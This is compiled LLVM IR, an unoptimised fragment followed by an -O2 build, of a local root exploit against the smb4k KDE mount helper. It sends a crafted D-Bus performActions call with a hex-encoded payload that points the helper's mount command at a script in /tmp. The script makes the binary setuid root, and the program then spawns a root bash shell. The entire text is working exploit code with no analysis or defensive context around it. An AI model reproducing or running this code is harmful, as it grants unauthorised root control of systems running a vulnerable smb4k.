%46 = call i32 @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.16, i64 0, i64 0))
%47 = load i8*, i8** %8
%48 = call i32 @unlink(i8* %47)
%49 = load i8*, i8** %8
%50 = load i32, i32* @O_RDWR
%51 = load i32, i32* @O_CREAT
%52 = or i32 %50, %51
%53 = call i32 @open(i8* %49, i32 %52, i32 493)
store i32 %53, i32* %12
%54 = icmp slt i32 %53, 0
br i1 %54, label %55, label %57
55: ; preds = %45
%56 = call i32 @die(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.17, i64 0, i64 0))
br label %57
57: ; preds = %55, %45
%58 = load i32, i32* %12
%59 = call i32 @write(i32 %58, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.18, i64 0, i64 0), i32 10)
%60 = load i32, i32* %12
%61 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%62 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%63 = call i32 @strlen(i8* %62)
%64 = call i32 @write(i32 %60, i8* %61, i32 %63)
%65 = load i32, i32* %12
%66 = call i32 @write(i32 %65, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.19, i64 0, i64 0), i32 1)
%67 = load i32, i32* %12
%68 = call i32 @close(i32 %67)
%69 = call i32 @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.20, i64 0, i64 0))
%70 = call i64 (...) @fork()
%71 = icmp eq i64 %70, 0
br i1 %71, label %72, label %78
72: ; preds = %57
%73 = getelementptr inbounds [9 x i8*], [9 x i8*]* %7, i64 0, i64 0
%74 = load i8*, i8** %73
%75 = getelementptr inbounds [9 x i8*], [9 x i8*]* %7, i64 0, i64 0
%76 = call i32 @execve(i8* %74, i8** %75, i32* null)
%77 = call i32 @exit(i32 1)
unreachable
78: ; preds = %57
%79 = call i32 @wait(i32* null)
%80 = call i32 @sleep(i32 5)
%81 = call i32 @printf(i8* getelementptr inbounds ([33 x i8], [33 x i8]* @.str.21, i64 0, i64 0))
%82 = call i32 @memset(%struct.stat* %11, i32 0, i32 4)
%83 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%84 = call i32 @stat(i8* %83, %struct.stat* %11)
%85 = getelementptr inbounds %struct.stat, %struct.stat* %11, i32 0, i32 0
%86 = load i32, i32* %85
%87 = and i32 %86, 2048
%88 = icmp ne i32 %87, 2048
br i1 %88, label %89, label %91
89: ; preds = %78
%90 = call i32 @die(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.22, i64 0, i64 0))
br label %91
91: ; preds = %89, %78
%92 = getelementptr inbounds [1024 x i8], [1024 x i8]* %6, i64 0, i64 0
%93 = getelementptr inbounds [3 x i8*], [3 x i8*]* %9, i64 0, i64 0
%94 = call i32 @execve(i8* %92, i8** %93, i32* null)
ret i32 0
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str = [19 x i8] c"/usr/bin/dbus-send\00"
@.str.1 = [9 x i8] c"--system\00"
@.str.2 = [14 x i8] c"--print-reply\00"
@.str.3 = [41 x i8] c"--dest=net.sourceforge.smb4k.mounthelper\00"
@.str.4 = [2 x i8] c"/\00"
@.str.5 = [28 x i8] c"org.kde.auth.performActions\00"
@.str.6 = [4001 x i8] c"array:byte:0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73\00"
@.str.7 = [23 x i8] c"array:byte:58,49,46,48\00"
@__const.main.dbus = [9 x i8*] [i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i32 0, i32 0), i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.1, i32 0, i32 0), i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.2, i32 0, i32 0), i8* getelementptr inbounds ([41 x i8], [41 x i8]* @.str.3, i32 0, i32 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i32 0, i32 0), i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.5, i32 0, i32 0), i8* getelementptr inbounds ([4001 x i8], [4001 x i8]* @.str.6, i32 0, i32 0), i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.7, i32 0, i32 0), i8* null]
@.str.8 = [17 x i8] c"/tmp/xmount.cifs\00"
@.str.9 = [6 x i8] c"shell\00"
@.str.10 = [10 x i8] c"/bin/bash\00"
@.str.11 = [7 x i8] c"--norc\00"
@.str.12 = [12 x i8] c"--noprofile\00"
@__const.main.bash = [4 x i8*] [i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i32 0, i32 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.11, i32 0, i32 0), i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.12, i32 0, i32 0), i8* null]
@.str.13 = [15 x i8] c"/proc/self/exe\00"
@.str.14 = [13 x i8] c"[-] readlink\00"
@.str.15 = [19 x i8] c"[-] execve of bash\00"
@O_RDWR = global i32 0
@O_CREAT = global i32 0
@.str.17 = [9 x i8] c"[-] open\00"
@.str.18 = [11 x i8] c"#!/bin/sh\0A\00"
@.str.19 = [2 x i8] c"\0A\00"
@.str.22 = [31 x i8] c"[-] Failed to chmod ourselfs.\0A\00"
@str = [29 x i8] c"[*] Creating shellscript ...\00"
@str.23 = [23 x i8] c"[*] Triggering call...\00"
@str.24 = [32 x i8] c"[*] Trying to find rootshell...\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [1024 x i8]
%4 = alloca [9 x i8*]
%5 = alloca [3 x i8*]
%6 = alloca [4 x i8*]
%7 = alloca %struct.stat
%8 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%9 = bitcast [9 x i8*]* %4 to i8*
%10 = bitcast [3 x i8*]* %5 to i8*
%11 = getelementptr inbounds [3 x i8*], [3 x i8*]* %5, i64 0, i64 0
store i8* %8, i8** %11
%12 = getelementptr inbounds [3 x i8*], [3 x i8*]* %5, i64 0, i64 1
store i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.9, i64 0, i64 0), i8** %12
%13 = getelementptr inbounds [3 x i8*], [3 x i8*]* %5, i64 0, i64 2
store i8* null, i8** %13
%14 = bitcast [4 x i8*]* %6 to i8*
%15 = bitcast %struct.stat* %7 to i8*
%16 = call i64 @readlink(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.13, i64 0, i64 0), i8* %8, i32 1023)
%17 = icmp slt i64 %16, 0
br i1 %17, label %18, label %20
18: ; preds = %2
%19 = call i32 @die(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.14, i64 0, i64 0))
br label %20
20: ; preds = %18, %2
%21 = call i64 (...) @geteuid()
%22 = icmp eq i64 %21, 0
br i1 %22, label %23, label %35
23: ; preds = %20
%24 = call i32 @setuid(i32 0)
%25 = call i32 @setgid(i32 0)
%26 = icmp eq i32 %0, 2
br i1 %26, label %27, label %31
27: ; preds = %23
%28 = getelementptr inbounds [4 x i8*], [4 x i8*]* %6, i64 0, i64 0
%29 = call i32 @execve(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.10, i64 0, i64 0), i8** %28, i32* null)
%30 = call i32 @die(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.15, i64 0, i64 0))
br label %31
31: ; preds = %27, %23
%32 = call i32 @chown(i8* %8, i32 0, i32 0)
%33 = call i32 @chmod(i8* %8, i32 2541)
%34 = call i32 @exit(i32 0)
unreachable
35: ; preds = %20
%36 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([29 x i8], [29 x i8]* @str, i64 0, i64 0))
%37 = call i32 @unlink(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.8, i64 0, i64 0))
%38 = load i32, i32* @O_RDWR
%39 = load i32, i32* @O_CREAT
%40 = or i32 %39, %38
%41 = call i32 @open(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.8, i64 0, i64 0), i32 %40, i32 493)
%42 = icmp slt i32 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %35
%44 = call i32 @die(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.17, i64 0, i64 0))
br label %45
45: ; preds = %43, %35
%46 = call i32 @write(i32 %41, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.18, i64 0, i64 0), i32 10)
%47 = call i32 @strlen(i8* %8)
%48 = call i32 @write(i32 %41, i8* %8, i32 %47)
%49 = call i32 @write(i32 %41, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.19, i64 0, i64 0), i32 1)
%50 = call i32 @close(i32 %41)
%51 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @str.23, i64 0, i64 0))
%52 = call i64 (...) @fork()
%53 = icmp eq i64 %52, 0
br i1 %53, label %54, label %58
54: ; preds = %45
%55 = getelementptr inbounds [9 x i8*], [9 x i8*]* %4, i64 0, i64 0
%56 = call i32 @execve(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str, i64 0, i64 0), i8** %55, i32* null)
%57 = call i32 @exit(i32 1)
unreachable
58: ; preds = %45
%59 = call i32 @wait(i32* null)
%60 = call i32 @sleep(i32 5)
%61 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([32 x i8], [32 x i8]* @str.24, i64 0, i64 0))
%62 = call i32 @memset(%struct.stat* %7, i32 0, i32 4)
%63 = call i32 @stat(i8* %8, %struct.stat* %7)
%64 = getelementptr inbounds %struct.stat, %struct.stat* %7, i64 0, i32 0
%65 = load i32, i32* %64
%66 = and i32 %65, 2048
%67 = icmp eq i32 %66, 0
br i1 %67, label %68, label %70
68: ; preds = %58
%69 = call i32 @die(i8* getelementptr inbounds ([31 x i8], [31 x i8]* @.str.22, i64 0, i64 0))
br label %70
70: ; preds = %68, %58
%71 = call i32 @execve(i8* %8, i8** %11, i32* null)
ret i32 0
}